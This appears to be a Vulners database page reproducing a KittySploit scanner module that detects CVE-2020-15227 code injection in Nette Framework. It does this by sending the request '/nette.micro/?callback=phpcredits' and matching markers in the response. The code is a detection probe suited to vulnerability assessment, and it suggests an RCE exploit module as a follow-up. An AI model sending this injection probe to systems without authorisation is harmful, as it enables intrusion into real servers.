Lucene search
+L

Nette Framework - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Code injection in Nette Framework via specially formed parameters allows RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
9 Oct 202013:13
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
15 Nov 202015:30
–githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
10 Oct 202002:38
–githubexploit
circl
Circl
CVE-2020-15227
14 Oct 202019:14
–circl
checkpoint_advisories
Check Point Advisories
Nette Command Injection (CVE-2020-15227)
6 Feb 202100:00
–checkpoint_advisories
cve
CVE
CVE-2020-15227
1 Oct 202019:00
–cve
cvelist
Cvelist
CVE-2020-15227 Remote Code Execution vulnerability
1 Oct 202019:00
–cvelist
debian
Debian
[SECURITY] [DLA 2617-1] php-nette security update
4 Apr 202111:33
–debian
debiancve
Debian CVE
CVE-2020-15227
1 Oct 202019:00
–debiancve
nessus
Tenable Nessus
Debian DLA-2617-1 : php-nette security update
5 Apr 202100:00
–nessus
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Nette Framework versions before 2."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Nette Framework - Remote Code Execution Detection',
        'description': 'Nette Framework versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, and 3.0.6 are vulnerable to a code injection attack via specially formed parameters being passed to a URL. Nette is a PHP/Composer MVC Framework.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'nette', 'rce', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'exploits/multi/http/nette_cve_2020_15227_rce',
                ],
            },
        },
        'references': [
            'https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94',
            'https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-15227',
            'https://lists.debian.org/debian-lts-announce/2021/04/msg00003.html',
            'https://packagist.org/packages/nette/application',
        ],
        'cve': 'CVE-2020-15227',
    }

    def run(self):
        r = self.http_request(method="GET", path='/nette.micro/?callback=phpcredits', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('PHP Credits',)
        header_any = ('Nette Framework',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='critical',
                reason="Nette Framework - Remote Code Execution detected",
                path='/nette.micro/?callback=phpcredits',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 3.18.7 - 9.8
EPSS0.34424
0